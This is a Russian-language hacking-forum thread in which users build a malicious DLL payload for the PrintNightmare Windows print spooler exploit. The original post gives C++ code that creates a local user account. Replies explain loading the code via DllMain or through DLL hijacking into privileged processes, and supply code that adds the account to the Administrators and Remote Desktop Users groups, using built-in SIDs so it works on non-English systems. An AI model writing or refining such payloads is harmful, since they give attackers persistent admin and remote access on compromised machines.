• XSS.stack #1 – первый литературный журнал от юзеров форума

[пишем свой .dll] C++ добавление юзера через PrintNightmare

Balora19

19
Premium
Регистрация
21.02.2022
Сообщения
43
Реакции
49
На досуге перечитывал паблик CVE-2021-1675,а именно PrintNightmare: https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527, и стало интересно в рамках обучения winAPI и плюсов под винду, что же там за .dll на добавления юзера (кто не в курсе, подсовывается вредоносной DLL для того чтобы добавить юзера), причем сурсов на эту .dll ни где нету, по итогу решил попробовать разобраться сам.
Идея была такая:
1)на плюсах написать PE для добавления юзера
2)далее с помощью скрипта питона поменять хедеры, чтобы PE замаскировался под .dll
Код такой:
C++:
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h>
#include <lm.h>
#include <iostream>
LPWSTR ConvertToLPWSTR(const std::string& s)
{
    LPWSTR ws = new wchar_t[s.size() + 1];
    copy(s.begin(), s.end(), ws);
    ws[s.size()] = 0;
    return ws;
}

void AddRDPUser()
{
    std::string s = "testUSER";
    LPWSTR nameLP = ConvertToLPWSTR(s);
    std::string a = "testUser123";
    LPWSTR passLP = ConvertToLPWSTR(a);

    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    ui.usri1_name = nameLP;

    ui.usri1_password = passLP;

    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);


}
int main()
{
    AddRDPUser();
}
Вообщем-то PE работает, от админа добавляет юзера, но .dll не реагирует,
Поэтому интересно, есть ли сурцы дефолтной .dll которую юзают все с PrintNightmare?
Если нет, то как сделать так так чтобы .dll или PE запускались по дефолту от админа?
 
Последнее редактирование:
Идея была такая:
1)на плюсах написать PE для добавления юзера
2)далее с помощью скрипта питона поменять хедеры, чтобы PE замаскировался под .dll
Зачем такие сложности? Пиши сразу dll и в функции DllMain вызывай свой код.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Во-первых, вы можете сразу wstring создавать, чтобы не писать костыльную функцию.
Во-вторых, вы забыли удалить указатели, возвращаемые костыльной функцией.
C++:
std::string s = "testUSER";
LPWSTR nameLP = ConvertToLPWSTR(s);
std::string a = "testUser123";
LPWSTR passLP = ConvertToLPWSTR(a);

delete[] nameLP;
delete[] passLP;

так чтобы .dll или PE запускались по дефолту от админа?
.dll - Если инжект, то инжектить в процесс с админ правами. Если dll hijacking, то подменить ту длл, которую загрузит процесс с админ правами.
.exe - Добавить манифест
 
DllMain только инжектить можно, разве нет?
в контексте создания dll для принтнайтмера ее инжектить не надо. В процессе работы эксплоита длл будет подгружена в пямять сразу с хайприв
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ТС, зачем тебе std::string и подобный цртшный мусор, если можно прямо написать LPWSTR nameLP = L"testUser";
 
C:
    rc = NetLocalGroupAddMembers(
        NULL,
        L"Administrators",
        0,
        (LPBYTE)&gd,
        1
    );
    rc = NetLocalGroupAddMembers(
        NULL,                     
        L"Remote Desktop Users",
        0,                         
        (LPBYTE)&gd,
        1                         
    );

рекомендую добавить ещё это
 
C:
    rc = NetLocalGroupAddMembers(
        NULL,
        L"Administrators",
        0,
        (LPBYTE)&gd,
        1
    );
    rc = NetLocalGroupAddMembers(
        NULL,                    
        L"Remote Desktop Users",
        0,                        
        (LPBYTE)&gd,
        1                        
    );

рекомендую добавить ещё это
Это не будет работать на тачках где язык системы не англ, апи просто ошибку выкинут - что таких групп не существует. Лучше всего использовать SID https://renenyffenegger.ch/notes/Windows/security/SID/index

Например: "BUILTIN\Administrators" = "S-1-5-32-544", "Remote Desktop Users" = "S-1-5-32-555"
Из этих СИДов можно получить корректное имя группы через https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupaccountsidw
 
Посмотри как правильно оформляется точка входа для dll.


Рекомендую там поток создать, который будет твой код выполнять.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
были проблемы с VS, категорически не понимал "L"
это просто юникод строка (utf-16 LE).
"ABC" = 'A','B','C',0
L"ABC" = 'A',0,'B',0,'C',0,0,0

Если функция хочет LW, т.е. LPWSTR и подобное , тупо передаешь через L"..". Важно только помнить, что это - констатная строка, не меняется. А допустим CreateProcessW требует строку, которую можно менять, это частая ошибка при использовании этой функции.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх